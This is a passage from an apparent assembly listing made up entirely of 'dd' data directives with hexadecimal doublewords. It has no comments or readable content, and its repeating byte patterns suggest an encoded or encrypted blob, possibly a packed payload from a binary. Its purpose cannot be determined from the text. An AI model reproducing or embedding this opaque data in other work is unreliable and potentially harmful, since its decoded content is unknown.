884F9169h, 12CA1566h dd 2E2C2CD8h, 0FDDC947Eh, 964CE03h, 5F6BA388h, 0A3E4E208h dd 7EB2F688h, 7EB35B25h, 0E7539C4h, 35B9E3E7h, 0C7C57471h dd 6C60E3E7h, 0B4BBA8B2h, 29CEE938h, 3EB71AA6h, 61321566h dd 44321572h, 57A7F7D4h, 0C569D8F4h, 286BD1C7h, 14DF50C5h dd 3440D5F0h, 2BB90A1h, 88331375h, 0FA521566h, 6AFD654Fh dd 0D38D1A30h, 4F5A743Dh, 0CD321505h, 988D315Ah, 1032243Fh dd 0E9CE4A9Fh, 44339269h, 4ACA1566h, 11327044h, 321601EFh dd 3D060F6Fh, 0CB68C4EFh, 1132156Bh, 26194169h, 0EFE145B6h dd 0C6C856Bh, 51677D38h, 84BB1566h, 0BB79AC42h, 0E8BB3E6Ch dd 16B21A3Fh, 87321566h, 443214E5h, 4452E066h, 0AD99D2E7h dd 0E927E0E6h, 5CBE1ACBh, 2D321566h, 113207EEh, 883FFC66h dd 212A1566h, 1FB53067h, 110E0A40h, 1BA5508h, 572B9CD3h dd 953D7560h, 328C73A0h, 8DDB740Eh, 47321566h, 2CC408CDh dd 86BAE35h, 43B30EF8h, 162C09E0h, 23AAD6E7h, 0F2B37D22h dd 9E5E55E9h, 4435E6E7h, 7CBB1706h, 352E9E9Ah, 8736D1E5h dd 443214E5h, 0CC0FE066h, 1EDCFB88h, 8832DDE3h, 0FA527566h dd 56191F55h, 70524207h, 9CE7438h, 99EFC858h, 8CB71ABBh dd 1E321566h, 883214E8h, 2C65E066h, 3C7B2D4Ah, 901629EDh dd 883211A2h, 41DDD466h, 0D5B3C291h, 642F099Bh, 0DD0FD2E7h dd 7ABB6089h, 34BF1A39h, 71321566h, 8832188Fh, 0A4F67766h dd 77C0A5EAh, 0D317AFBBh, 0D763BD6Ch, 408B4407h, 0A3321566h dd 709E488h, 9FC1407h, 5209E4A0h, 44524C07h, 91B222DEh dd 153F4B7h, 572B9CD3h, 2BDB7560h, 88321566h, 857B844Fh dd 0BCBC82D0h, 22BB1A06h, 91321566h, 0E953658Ch, 6F87FC9Eh dd 33DB1566h, 0A3321566h, 0D7042777h, 3486B402h, 0E53D34A5h dd 6AC3118Ah, 77CC938Fh, 46B51A99h, 42321566h, 0D0BB4407h dd 616B4E37h, 4432156Ch, 0B9586F97h, 0B0B14266h, 87DB177Fh dd 45321566h, 0AF3F433Ah, 0B0C11E05h, 95DC9C4Fh, 0C1016A7Dh dd 242106EFh, 0F25CAD06h, 49530CE9h, 41CB16AEh, 66A6735Dh dd 0AE65C54Fh, 0CCA6735Dh, 246DED4Fh, 92C39400h, 70FD9E9Ah dd 8722D5A7h, 443214E7h, 0EA03EC66h, 98AF9C9Eh, 61340675h dd 4432156Ch, 3E0012C4h, 8BDBB3F7h, 880FEDA0h, 4B321466h dd 22334DE5h, 1135FC66h, 65C91566h, 0B0F0A2D0h, 990C9494h dd 1E89AEDDh, 883355E3h, 5CB31A66h, 42321566h, 2A1C04DEh dd 8839FD3Ah, 33C21566h, 18A76C02h, 454E8F99h, 0D9534E60h dd 233DAD36h, 0FAC52B28h, 1C34FDA7h, 0B4F83657h, 752A9863h dd 7AF39CA6h, 0E96B1BEFh, 94894633h, 0B335CB0Dh, 0E37156BDh dd 0D2B31D85h, 56590F62h, 4569C8EFh, 9C524888h, 58A3416Fh dd 0FE99C4E7h, 0CD534C22h, 312B9CD3h, 90547560h, 871DEB6h dd 0CF53BC94h, 31225CFBh, 22CDE060h, 0B1619EDh, 4CDB11A2h dd 0F2321566h, 154FFF59h, 7D6B2806h, 60269E36h, 2236D1E7h dd 0A9521566h, 0B8E38D91h, 0B852E907h, 0F4BB4333h, 986CE0EFh dd 0A3CB488Eh, 572FA4E3h, 23BF1A60h, 0E8321566h, 7D30F5A7h dd 5D679065h, 28DB1375h, 9F321566h, 1BFF4F28h, 3685F3F8h dd 7A644515h, 921621EDh, 0EE5211A2h, 4B1103DEh, 22321AE5h dd 1138FC66h, 0C7C61566h, 4F6D360Eh, 741E9E79h, 0F852B807h dd 88321560h, 126975Ah, 0A95430EEh, 441F74A9h, 8D20293Eh dd 37EB390Fh, 4B1FDD67h, 1441CC4Ah, 9A0E4D33h, 44339669h dd 0ABCA1566h, 0E92E3122h, 2DDBEC07h, 24321564h, 1969F7E7h dd 0DEB36E88h, 0BE139084h, 9997D07h, 2EBB1566h, 9861E942h dd 8CF19485h, 0C7321566h, 3EB5118Dh, 5BB4942h, 0EE627542h dd 256DE4EDh, 0A9CBDC57h, 23F3CF3h, 89B51A60h, 0B1321566h dd 2220FC06h, 37E11566h, 0A48D31A3h, 0EB52934Ch, 710D5A67h dd 0FDA25EFDh, 0E9E1D9E6h, 0C03D175Dh, 223215C0h, 11209369h dd 85DB1566h, 0BF321566h, 1EFB1A85h, 1B3144ECh, 78DEA609h dd 908B7306h, 43EA9E7Dh, 1136AA31h, 4AB31566h, 52B850CAh dd 0C8B3EF67h, 7B850CAh dd 9BBA1A39h, 0AD321566h, 22321568h, 1DB92AD1h, 6945F645h dd 0B4E34208h, 9F67964Eh, 11321567h, 7D6FFC67h, 4333985Dh dd 0A73D1375h, 0EECDEAF2h, 88339169h, 24CE1566h, 8535AE00h dd 0DCE302DCh, 0CB8A740Bh, 1157972Eh, 0B841EEDBh, 4CDA3402h dd 4074404Bh, 71EAE258h, 582A41AAh, 0B09F3763h, 89B11A39h dd 0BC321566h, 6DBF98EBh, 0EEC71375h, 5BBE087h, 42213EA3h dd 0D3851A06h, 35269E07h, 9D39C37h, 443211A7h, 26F39466h dd 96321566h, 706E316Ah, 111619EDh, 0E7B3F0EFh, 11321562h dd 0F36D0E5h, 4B6E314Ah, 22320FEDh, 5B81A66h, 61321566h dd 44321569h, 0D35A18F5h, 4E3CC771h, 0C77EEB2Ah, 0BC1D8D36h dd 2221470Eh, 35069C66h, 29897306h, 4426FCB3h, 0B8C51566h dd 90BAD4E2h, 0FE9658DAh, 51299657h, 0C899AF45h, 0E8537637h dd 987B88EDh, 0AD521375h, 22321560h, 0BEB456B8h, 0D853B3B1h dd 443215DEh, 0DDEA1466h, 351E9456h, 0CA6321CBh, 0E9F3943Fh dd 7A704452h, 113A9269h, 63D1566h, 44321564h, 0A7B97406h dd 17213EA3h, 8832128Fh, 0F81DE966h, 84D20B85h, 17DBF5B7h dd 65321566h, 3587FE22h, 0F3B7168Eh, 1E340662h, 883212E2h dd 45BE1A66h, 0DA321566h, 0F8C4249Eh, 88321561h, 1F97BE8Dh dd 722CAF2Ah, 9836F9E5h, 0D66A3152h, 442B9569h, 36DB1566h dd 0FB321566h, 0A2A77CBBh, 0A18183B3h, 0FCBACD1Dh, 9EDEF582h dd 87CE9F6Fh, 443214E6h, 8F54EC66h, 13D2D49Fh, 883D9769h dd 4EDB1566h, 21321566h, 16342C98h, 4183A8F0h, 11B71658h dd 4234067Fh, 0A75209D7h, 6AB373ACh, 25538CD6h, 0E403E557h dd 0BCC7E557h, 8832018Fh, 0C7AF5A66h, 2EAE0B41h, 0BCB80504h dd 518776D1h, 172D76E7h, 768C439Dh, 1036395Bh, 40334B96h dd 680F414Bh, 16CDED62h, 0D5B14B42h, 5FB97562h, 5F4AAB37h dd 436D02A8h, 0B47A8E5h, 87331375h, 4432C0E2h, 3AB21A66h dd 0F8321566h, 88321575h, 0D75EFBB0h, 90932FC9h, 340AB932h dd 99AA97BEh, 7F0C0A3Eh, 312378EBh, 0BAB61A60h, 0E8321566h dd 0CE06C3E6h, 0AF097480h, 172105B7h, 88AA9169h, 24521566h dd 99547406h, 775386DDh, 66C1DEE7h, 8DBF2E07h, 2D340661h dd 113268E2h, 8839FC66h, 5FE1566h, 46A45991h, 6F274908h dd 0A4AF98E3h, 4B340F89h, 22321FE3h, 1137FC66h, 584A1566h dd 0BB0D795Ch, 2FDA75B5h, 0B2321566h, 5F86AB7Bh, 76279DF3h dd 99197A94h, 0C004AD00h, 3627438h, 80B1315Ah, 29B31A62h dd 71321566h, 87CCAA69h, 443215EEh, 0A7BB7466h, 17211597h dd 8832108Fh, 91012966h, 41DB7883h, 71321546h, 0E4FAD06h dd 96B33CD6h, 368842DFh, 8CBF7407h, 8E28FA4Ah, 0C5C4A406h dd 981A5ADh, 0C2CD7478h, 30544606h, 226A7DF5h, 0C0A9C3E7h dd 648F9607h, 8834067Ch, 44669169h, 42521566h, 6A66CCE7h dd 0E9531412h, 6FA7905Dh, 0A63D1375h, 11321554h, 88321C8Fh dd 0EDF5266h, 0A2215027h, 9409E388h, 8E213ECFh, 44169069h dd 42521566h, 1132108Eh, 0EE4F7966h, 2268A740h, 432D85DEh dd 0EA8D1A31h, 92DB743Fh, 4BCDEA99h, 223214EFh, 9409E066h dd 8E213BD3h, 44649069h, 28DB1566h, 5C321566h, 0BEC73365h dd 6E6A831Eh, 1F8F967Ch, 11340671h, 88129169h, 0C03D1566h dd 2232156Ah, 11349169h, 3D1566h, 44321566h, 12DFA8E5h dd 1E321375h, 88320EE2h, 0C1BFE066h, 242866FAh, 11321C8Fh dd 7A111866h, 76A97970h, 90DB352Eh, 0E9CDEA98h, 0A687905Dh dd 0C03D1375h, 0DDCDEBC3h, 0FC8F969Ah, 89340FF5h, 447A9069h dd 2EDB1566h, 97321566h, 0F139849Dh, 3366AE04h, 1955F9FEh dd 0BA634E3h, 0A3B71A60h, 4B321566h, 223212E1h, 0C8A7566h dd 0E9031042h, 4FD690EBh, 0CBCB153Fh, 0EECDEBF4h, 8832188Fh dd 59523166h, 934D5B4Bh, 8F1E867Dh, 7703A8AFh, 44339969h dd 0A1CE1566h, 235F0DBh, 0C3D1560h, 443205A5h, 22321B8Fh dd 2ED1BE66h, 0F44762E1h, 0C3F9D4FFh, 191F3A15h, 0BA618E3h dd 0A3B71A60h, 24321566h, 2238FC06h, 0CF621566h, 6D0395DAh dd 97130AA7h, 22329F69h, 70531566h, 0D9B79E9Ah, 0B1340668h dd 2233AF34h, 0C6331566h, 0D09E93Ch, 42288173h, 220D9069h dd 1DB1566h, 0FF321566h, 21F0DBDFh, 0F066ADC5h, 0BB9D565Bh dd 317A630h, 571E0CE3h, 23BE1A60h, 0E8321566h, 883B790Eh dd 600E9C66h, 7D161199h, 11399169h, 8EDB1566h, 7B321566h dd 0E9371423h, 0B72EFDh, 87340FF2h, 443246E3h, 0CB527566h dd 1132156Bh, 2174EFDAh, 7658EEA7h, 0BE6B687h, 0DCDABE0h dd 37530187h, 14B48257h, 0A3B79E07h, 1E340671h, 88321CE3h dd 0FB547566h, 0D3B20136h, 16DB74C3h, 74321566h, 1E1C5789h dd 27A5804Bh, 11321567h, 8834FCF1h, 0F7841566h, 0F0C8063h dd 852B905Dh, 0D3D137Ch, 4432154Ah, 0A953ED06h, 234C8E3h dd 89B51A60h, 0B8321566h, 2233AD36h, 0D6331566h, 883CFC3Eh dd 8C581566h, 0C232BBFDh, 79F41F0Eh, 0E49F6406h, 0D02F905Dh dd 0A73D137Ch, 1132155Fh, 1DB79E9Eh, 2434067Fh, 223FFD9Fh dd 2A541566h, 7E88619Dh, 8C386Bh, 0CA18EB64h, 11321561h dd 31BF2612h, 1B795E02h, 0DD657438h, 2DB93162h, 8CF69642h dd 0F87EC06h, 3B72E07h, 1E340FF2h, 88322AE3h, 0C1B9E066h dd 24213CCFh, 11359669h, 0D3D1566h, 44321567h, 0DD8A459Ah dd 38CDEA99h, 73D4DA1h, 4432157Ah, 22249369h, 0DB1566h dd 0F2321566h, 923443D1h, 0ACD30230h, 0E98267C4h, 0FDDD90D4h dd 0D017905Dh, 0A73D137Ch, 11321544h, 8832138Fh, 5B7C1866h dd 0A9BD47F2h, 22400E3h, 89B91A60h, 0B8321566h, 2233A833h dd 0FE331566h, 0D09E03Bh, 4228814Fh, 220E9069h, 0F9521566h dd 8832156Fh, 7585AE45h, 3A89774h, 706BECA6h, 0A4A390EDh dd 4B521375h, 7353D3D9h, 113214DFh, 0D1FD1466h, 44229F69h dd 29DB1566h, 0B6321566h, 0C720F8Eh, 0D87725D1h, 0A7093F3Bh dd 1728814Bh, 880F9069h, 4BCB1566h, 223214E9h, 94B9EC66h dd 8E2105EBh, 4432058Fh, 0A2892B66h, 83518BE0h, 89A6B1DDh dd 0ED7B40A0h, 9860EC94h, 11321567h, 6168C267h, 4432156Dh dd 735A78E2h, 0D0FB3FB7h, 0B310D67Dh, 5EA624E3h, 1B71A60h dd 0F8321566h, 8832156Bh, 0F02CDA3Ah, 4E495C91h, 0A59C12E8h dd 0E9B79E21h, 0B134064Eh, 0DDCDAF34h, 0C61BEA99h, 0D09ED3Ch dd 4228815Fh, 221F9069h, 9A521566h, 0D06175A5h, 13A9F2E7h dd 43536A26h, 207F90EDh, 8521375h, 24529B8Ah, 22B31A07h dd 70321566h, 778F4007h, 6DCDEA99h, 19CA4889h, 0BA620E3h dd 0E4B71A60h, 4B321566h, 223206EEh, 0D6B97566h, 88321C8Eh dd 5D1AA366h, 8E86A84Dh, 706CCC7Eh, 9F4BA8E5h, 4B321375h dd 223253E3h, 0FBB1A66h, 0E8321566h, 44329A69h, 32DA1566h dd 0D6321566h, 49C509FEh, 328335DFh, 60CEF22h, 4B9FBB58h dd 59B79E07h, 0AD340647h, 2232156Ch, 309B7390h, 2D17FAD3h dd 8C5A9873h, 0AB321553h, 15CD315Ah, 0BC74A42h, 5729C4DBh dd 0A63D1560h, 1132150Dh, 88B31A06h, 24321566h, 22329D69h dd 70531566h, 1CF3905Dh, 0C13D137Ch, 22321529h, 11399869h dd 8EDB1566h, 0AE321566h, 0E9128609h, 4CB79ED2h, 7134066Ch dd 42BF1A06h, 2D321566h, 113215E7h, 0A48B7366h, 0FC62748Dh dd 42D77A70h, 1437F5A7h dd 6B600827h, 0AD6AD267h, 22321569h, 8656D000h, 213117Ah dd 4620A4E2h, 0A13468AAh, 22D08DBh, 0C3D1560h, 44321499h dd 2232128Fh, 0DB892D66h, 2BBC85FBh, 44BBA8E5h, 2D321375h dd 1133F3E2h, 8838FC66h, 442F1566h, 850B84DFh, 3C6C54B3h dd 1C97905Dh, 0C13D137Ch, 22321552h, 113A9169h, 74521566h dd 2118FCDFh, 0A7B9743Dh, 17210B13h, 88219E69h, 4ADB1566h dd 77321566h, 0E3683064h, 5DCA0CA1h, 0B56EFF3Ah, 26B14225h dd 0ED6D1442h, 1C87905Dh, 0C13D137Ch, 2232155Eh, 4CB79E93h dd 0E8340679h, 44321D8Fh, 0AE28C966h, 0D5EEB0B4h, 0E9E19E4Ch dd 2B9AE35h, 0C9B3183Bh, 1C6F53EAh, 6169CA4Fh, 4432156Ah dd 0BF4D8B9h, 28221256h, 157AA0B6h, 0D09B905Dh, 0A73D137Ch dd 1132155Eh, 15B79E9Ah, 0AD340666h, 22321575h, 0BD1D796Ch dd 9613C523h, 0FAB4B570h, 8AF94189h, 0F8AA17C0h, 8832156Ch dd 0A10AF93Dh, 4D983B74h, 0A8634DB5h, 88321567h, 0B16BDA67h dd 0B68B905Dh, 943D137Ch, 88321526h, 42B11A06h, 0A3321566h dd 4B9F6891h, 883CFC33h, 20151566h, 40616D8Fh, 42BE44BBh dd 0FE3D7F30h, 9DB37507h, 448B482Bh, 7043DBE6h, 847B90EDh dd 13CB1375h, 60684A34h, 7752C2E1h, 0E91B07DEh, 0D08F905Dh dd 0A73D137Ch, 1132155Eh, 883E9869h, 0C73D1566h, 22321560h dd 11329269h, 0DB91566h, 4221369Fh, 0AA3D4506h, 11321566h dd 0AD65AA38h, 115321A2h, 0DDCDEADBh, 4CDD3C99h, 88309669h dd 25521566h, 0B69F905Dh, 943D137Ch, 88321554h, 0ADB79E93h dd 2D34067Bh, 113212E2h, 89B81A66h, 0B1321566h, 0DDCDAC37h dd 0DE1BEA99h, 0CB80753Fh, 4432198Fh, 1C9B7866h, 5B3E11BFh dd 4DA2CF8Ch, 0C1097488h, 242881D7h, 11079069h, 3C71566h dd 573DD8E3h, 28BF1A60h, 0F8321566h, 88321563h, 0CFD5D577h dd 0DD8F4032h, 38CDEA99h, 0F3D4889h, 44321568h, 22321C8Fh dd 5966EB66h, 0D8ACF64h, 0C7CE6BDBh, 31329CDBh, 953D1560h dd 88321FB1h, 442B9669h, 0CB521566h, 11321569h, 0B2D31EDFh dd 720CE985h, 0B3F490D5h, 776BBF4Eh, 0B353CDEDh, 5EA628E3h dd 13B71A60h, 0E8321566h, 7DB79E9Fh, 0AD340644h, 2232156Dh dd 9635B8FCh, 6D2DF029h, 12A09A49h, 0DDCDEAD8h, 4FC53C99h dd 88321E8Fh, 94C76566h, 16427A97h, 9C519A00h, 1CE3905Dh dd 0C13D137Ch, 22321500h, 0C4837506h, 3537406h, 0C1B974A1h dd 2421142Bh, 113E9A69h, 8FDB1566h, 0A3321566h, 1F208F7Bh dd 0AA61C365h, 85A10486h, 0A7F3C691h, 0A3E9E261h, 0E32ED88Dh dd 0C4F19476h, 6D757C4Ah, 0AB3D4EB9h, 1132156Ah, 88349869h dd 0C03D1566h, 22321566h, 1132048Fh, 25330866h, 11531B5Ah dd 95CC4C2Ch, 4B49BA9Ch, 0D09910Eh, 42288127h, 227B9069h dd 77521566h, 1D1EC6E7h, 44379369h, 0A3541566h, 70697885h dd 9B4F90EDh, 49DB1375h, 0E5321566h, 0EEE1F1F9h, 865121Bh dd 2A37F764h, 0DDCDAB30h, 0E61BEA99h, 8823FC38h, 0EB51566h dd 88494A75h, 2F91D6CCh, 0B31BE675h, 7F75A802h, 38A650E3h dd 51B71A60h, 61321566h, 44321574h, 0BDB3A8C0h, 4D11E258h dd 0C718B2DEh, 0AAEBADA8h, 0A7B92F0Bh, 1721008Bh, 88321D8Fh dd 0F12A8D66h, 112625E6h, 0EE8946CBh, 0A1CDEA99h, 0C13D4EB9h dd 22321561h, 0C8B97306h, 0B353C1ECh, 5EA65CE3h, 13B71A60h dd 0ED321566h, 0AD8B90EDh, 0CF521375h, 20B01A9Eh, 47321566h dd 67B5743Fh, 0BBCDF8E7h, 0CDB5EA99h, 90547593h, 87202A84h dd 443213E7h, 0D6E59466h, 7059B2DBh, 1C7F905Dh, 0C13D137Ch dd 223215ECh, 11279E69h, 87521566h, 443215EEh, 2235FD66h dd 2FED1566h, 0F648F851h, 4B534DFAh, 223214E8h, 0ACB1E966h dd 8E21021Fh, 1FB71A66h, 2D321566h, 113219E0h, 8EB81A66h dd 4B321566h, 223215ECh, 28B79E66h, 6134066Bh, 4432156Eh dd 0B55F18D0h, 47C65309h, 883A9469h, 0CA3D1566h, 22321564h dd 0AF647406h, 77CDEA99h, 4B6CE24Fh, 22320CECh, 1126FC66h dd 3AB81566h, 3A4ADB69h, 0EDB47694h, 65D6777Eh, 0CCAA73Bh dd 0C109E149h, 24288137h, 11649069h, 61CB1566h, 44321577h dd 6EE9087h, 0A83B3992h, 7845097Eh, 95A11B38h, 67B79EF2h dd 7134064Ah, 88319C69h, 0F33D1566h, 43C19EB8h, 1133AF34h dd 5F331566h, 4B52EC3Ch, 0CA52CED9h, 11321576h, 0C7831E0Fh dd 506E8A89h, 80E653A9h, 0A8F9C696h, 0A123AA38h, 255314A7h dd 0B667905Dh, 943D137Ch, 88321538h, 443E9469h, 0AF3D1566h dd 11321560h, 88329669h, 0C7CA1566h, 31256CDBh, 943D1560h dd 88321558h, 443F9D69h, 0A3521566h, 15D88481h, 48B37346h dd 0CF5382DEh, 3132A4E3h, 0AA61ED60h, 88321567h, 4B69CA67h dd 223200E2h, 1122FC66h, 31021566h, 61BD4D87h, 29B40263h dd 0F1A5092h, 0D097FB9h, 4228813Fh, 22039069h, 9AC71566h dd 9B16C4E3h, 4CBF1A60h, 42321566h, 0A954B3D6h, 0DE531D81h dd 0BBCDEAD8h, 7CC53C99h, 113F9169h, 80DB1566h, 14321566h dd 8B4DE36Ah, 2A9F397Eh, 92A648E3h, 32B71A60h, 2D321566h dd 11320DE2h, 9AB51A66h, 0AD321566h, 2232156Bh, 0F1FB3E33h dd 89CB2C3Dh, 0B7FB8917h, 0D3B79E19h, 1E34067Ah, 883212EBh dd 0F33D7566h, 43F9A3A8h, 111B9C69h, 60521566h, 4432156Fh dd 5973FDB2h, 8FA77042h, 9BDB4A96h, 0C1321566h, 0F2E9BB5h dd 1CACDD91h, 9F6A8CA3h, 57764005h, 1353E6F7h, 20CB24A9h dd 47B554A9h, 44359A69h, 0AE3D1566h, 11321567h, 0EDB72E9Fh dd 4B340FF2h, 22324CE3h, 0ACB1E966h, 8E21021Fh, 0FB71A66h dd 0DE321566h, 352F90EDh, 0B3D1375h, 4432157Ch, 22269E69h dd 1EDB1566h, 1E321566h, 1C17AD9Ch, 0E37686B5h, 39587C2Eh dd 35673ABBh, 0BBCDEA99h, 426FFA4Fh, 113CFC06h, 0ADD61566h dd 0C078FBAAh, 0C708EE97h, 97B3A77Ah, 353E0ECh, 0C10974A8h dd 24288107h, 11569069h, 0EE521566h, 2575E4E7h, 2232078Eh dd 47C95866h, 79C14E44h, 6C0D0B6Eh, 4CA0693Eh, 9025E224h dd 0CA8A06ACh, 0C7534B53h, 31256CDBh, 943D1560h, 88321554h dd 1B79E93h, 0CB340671h, 1132156Ah, 54F345A8h, 0D910EDA6h dd 0AEE82BDEh, 0EECDAB30h, 7F1BEA99h, 443EFC38h, 503B1566h dd 0C2EFD183h, 0A18D52A0h, 0C1092A69h, 2428810Fh, 116F9069h dd 85DB1566h, 0C7321566h, 0BFB26D16h, 0D5FBF2B8h, 8B8ADDA7h dd 44389E69h, 44521566h, 0B0D7E3E7h, 0E98BD8E6h, 763B90EDh dd 2DDB1375h, 71321566h, 9848C245h, 0CC32D314h, 4D79BDF0h dd 0A962D24Ch, 88321567h, 0AD6AD267h, 22321575h, 9F0C91BFh dd 0C6EE3287h, 3897A73Eh, 0B0374B4Fh, 2A4C291Bh, 92A678E3h dd 7AB71A60h, 42321566h, 0A63D4F30h, 0DB974AEh, 422137E3h dd 2232078Fh, 3B7EFE66h, 0EB3AA9C0h, 0C0680A32h, 0BFEA4367h dd 472B6A40h, 77CDEAD8h, 1AC53C99h, 2232198Fh, 0A3291F66h dd 0B3938090h, 29CCDADAh, 53B72E2Ch, 1E340FF2h, 8832B7E3h dd 0CB3D7566h, 22321570h, 1132048Fh, 755FD666h, 0ECADCE29h dd 0D320136Ch, 0DDF2E5DFh, 0E8533BDDh, 4432138Fh, 0D5B17866h dd 0F8389428h, 88321574h, 742A3889h, 2304BFAh, 4AC35C6h dd 0D591AD8Eh, 0CF538AF1h, 313230E3h, 1120FC60h, 4F4A1566h dd 36ABCD9h, 9E81AAF7h, 9467FFE1h, 0C07BC76Eh, 4432078Fh dd 5DD53166h, 0DBE15476h dd 9A505363h, 2D4E70F3h, 74213910h, 113214D8h, 0D6C51466h dd 442F9369h, 0A53D1566h, 11321571h, 8832078Fh, 1200E466h dd 64D6B16Dh, 2C266F05h, 74E51083h, 7FD01234h, 38A660E3h dd 2EB71A60h, 0E8321566h, 24E1AA69h, 0A63DC6ECh, 11321566h dd 85DB7407h, 0DF321566h, 0D6723FD8h, 33DC211Eh, 2F10BF25h dd 6B9390EDh, 2BDB1375h, 0D3321566h, 0D7D38305h, 0B4189B1Fh dd 2233AB30h, 0E6331566h, 0D09ED38h, 4228811Fh, 22709069h dd 9AC71566h, 9B29D0E3h, 0C13D7560h, 22321560h, 11329469h dd 0E9CB1566h, 1374E2E1h, 2D6C4A30h, 11320AE8h, 0BB8A7566h dd 0AD29ED0Ch, 22321575h, 0DEDAF711h, 3A316CACh, 0D29E1F48h dd 84A728E2h, 70A46FB3h, 1C4F905Dh, 0C13D137Ch, 22321526h dd 0D3B97306h, 8832188Eh, 3CC0F066h, 42B9D674h, 95A2661Ch dd 3654F7E1h, 25689BB1h, 3F0790EDh, 77521375h, 954C5EDh dd 25597096h, 6369631h, 943D4A67h, 8832156Eh, 44309F69h dd 43521566h, 85B3905Dh, 0D3D137Ch, 44321524h, 0A7B9ED9Fh dd 17210273h, 8832018Fh, 0B0517D66h, 7FEBCC7Bh, 33B7223h dd 0AEBFDBACh, 0BF9F1349h, 0DD8B4490h, 38CDEA99h, 9BDB4CA9h dd 0F6321566h, 245FB7CDh, 0D2C22795h, 7A67CCC7h, 3345DC6Eh dd 0A7092283h, 172881E3h, 885A9069h, 0AC521566h, 22321577h dd 0DA885654h, 7015D840h, 0F08C08C5h, 37BA80B1h, 113DFD54h dd 63581566h, 22832545h, 0A31CDE44h, 0B1BC5A8Ch, 0E96D4EA8h dd 44379169h, 0A9521566h, 9A53E9BEh, 9B02ECE3h, 0CF547560h dd 0AEF594A8h, 707420F1h, 77CDAC37h, 8B1BEA99h, 2DBA1A3Fh dd 0F8321566h, 8832156Ch, 0F9EBEC47h, 5F98310Ch, 94096E22h dd 8E211B07h, 44099069h, 33DB1566h, 45321566h, 3805B70h dd 0E0068B57h, 0D2C88B59h, 8FA423FDh, 833F90EDh, 42DB1375h dd 6B321566h, 0E3864E0Bh, 778C43F7h, 6DCDEA99h, 24DB4B91h dd 321566h, 0CB2A7351h, 0CDB72EFEh, 2D340FF2h, 11322DE3h dd 8838FC66h, 0D29B1566h, 7AB4C7B9h, 0B0ED2E1Ch, 93DF90EDh dd 0CE521375h, 99617496h, 11321567h, 6169CA67h, 44321577h dd 55E83E16h, 0FCCA1428h, 2442E223h, 5A743CF2h, 0E7B72E8Bh dd 1E340FF2h, 88327BE3h, 4420FC66h, 0B5CD1566h, 4D4B6877h dd 61E456C8h, 7B6AA44Ch, 32E02CC4h, 0DC8F969Ah, 88340FF2h dd 443D9069h, 0A1C71566h, 22860DBh, 0C3D1560h, 4432155Dh dd 8BB79E9Eh, 1E340644h, 88321AEBh, 41DB7566h, 6E321566h dd 54A48ACFh, 0E9B7DBE6h, 4433AC37h, 0ED331566h, 1123FC3Fh dd 4D5D1566h, 0FD813F45h, 6AD39CF4h, 0F895986Fh, 0B37793AFh dd 5EA6DCE3h, 0B2B71A60h, 0E8321566h, 1CFFA8E5h, 4B32137Ch dd 22325EE3h, 8B91A66h, 61321566h, 44321572h, 3F0E5F10h dd 0D9473E77h, 5A9AA28Ah, 0D093D14Fh, 36D3082Ah, 0B47A8E5h dd 87321375h, 443243E2h, 99547566h, 776557B6h, 0E96DCAEDh dd 44321A8Fh, 116B9C66h, 58883CA6h, 32951D06h, 39E47A41h dd 387F90EDh, 77521375h, 0E960B7D9h, 0BBCDA833h, 0CD1BEA99h dd 0DFB9753Bh, 88321E8Eh, 0D3D55966h, 0EAF829EFh, 9F25881Dh dd 8832128Eh, 46856366h, 6F1A6FD9h, 2A534A3Fh, 92A698E3h dd 7CB71A60h, 0DB321566h, 1C2B90EDh, 86DB1375h, 0C8321566h dd 0C7B5888Dh, 0C5D6D7A1h, 0E3837ADEh, 458C4314h, 23321566h dd 9B3D4B91h, 88321560h, 0CE31A506h, 0A8527497h, 0FBB373B2h dd 0B353F9B7h, 5EA684E3h, 4B71A60h, 0E8321566h, 0A3CF90EDh dd 0C33D1375h, 22321569h, 11321F8Fh, 0D9C76666h, 844D02B2h dd 73E1E0E3h, 0EECDEADFh, 0D1FD3C99h, 0D1B72E9Eh, 2D340FF2h dd 11325DE3h, 3547566h, 2543A298h, 6D790EDh, 16DB1375h dd 14321566h, 4039E326h, 98601880h, 1ED70C6Fh, 4AB3CF91h dd 9C5101h, 47FFFFE7h, 0E3B34B05h, 5E57D0F6h, 4B68C267h dd 223219E6h, 17B11A66h, 87321566h, 443215EAh, 0BBB72E66h dd 1E340FF2h, 883205E3h, 0C1B9EC66h, 24211BC7h, 4E604293h dd 5FB5573Ch, 0D9B72E93h, 2D340FF2h, 113252E3h, 8823FC66h dd 70D21566h, 0EB2AA9F0h, 9DD98801h, 5DE5E12Bh, 0AD5384D7h dd 22321572h, 0A06D3C49h, 0B731211Dh, 0E06B0581h, 0C93E46A4h dd 40D5A37Bh, 0AC0F90EDh, 0CF3D1375h, 22321567h, 0EE894693h dd 0A1CDEA99h, 25524EB9h, 0B693905Dh, 943D137Ch, 88321521h dd 44209F69h, 2FDB1566h, 49321566h, 4CEAA27Ah, 123EA540h dd 0D0432A5Bh, 33C790EDh, 73D1375h, 44321563h, 0D1B97306h dd 933D7507h, 88321563h, 0AFE39400h, 9C64740Dh, 11321567h dd 716CE267h, 44339D69h, 29CE1566h, 5B61A99h, 87321566h dd 44321DECh, 20B81A66h, 71321566h, 65BEFC07h, 7FCEEA99h dd 311224E3h, 34B71A60h, 0E8321566h, 0C7F8959Eh, 43CB7507h dd 6DA90EBh, 53D137Ch, 44321567h, 41DBEC93h, 71CDEA8Bh dd 1188D7EDh, 2511F82Bh, 9EB905Dh, 943D1375h, 88321525h dd 4BA0A406h, 0A153EBD9h, 0BA1F8DBh, 0D3D1460h, 44321549h dd 2238FC9Ah, 0FCAE1566h, 3AB60867h, 1F64D75Fh, 295590EBh dd 1FDB153Fh, 76321566h, 14E7431h, 533B6106h, 0D5D1D772h dd 653EFCA5h, 7FCEEA99h, 38A1E8E3h, 7B61A60h, 0E8321566h dd 2854AA00h, 43E8AA69h, 8533905Dh, 0D3D137Ch, 4432156Bh dd 0CED6FC9Ah, 9D3DEA99h, 88321567h, 40DE9493h, 0AB321566h dd 118F314Ah, 1321566h, 0C63D4888h, 22321567h, 10CC969Fh dd 89339069h, 7FCB1566h, 38A1E4E3h, 5FB71A60h, 61321566h dd 44321569h, 0FB4F4F9h, 0DB97ED6Fh, 0E976A621h, 4BC0ABD5h dd 22321DE1h, 13B81A66h, 0E8321566h, 80B79807h, 0CB324DE1h dd 1132156Dh, 0A5ECF69Ah, 0EB8FA937h, 0DB20D1E2h, 0EEDE648Fh dd 82B31A99h, 24321566h, 3236CBE7h, 7052690Eh, 7DB72E07h dd 4B340FF5h, 223256E3h, 0F952EC66h, 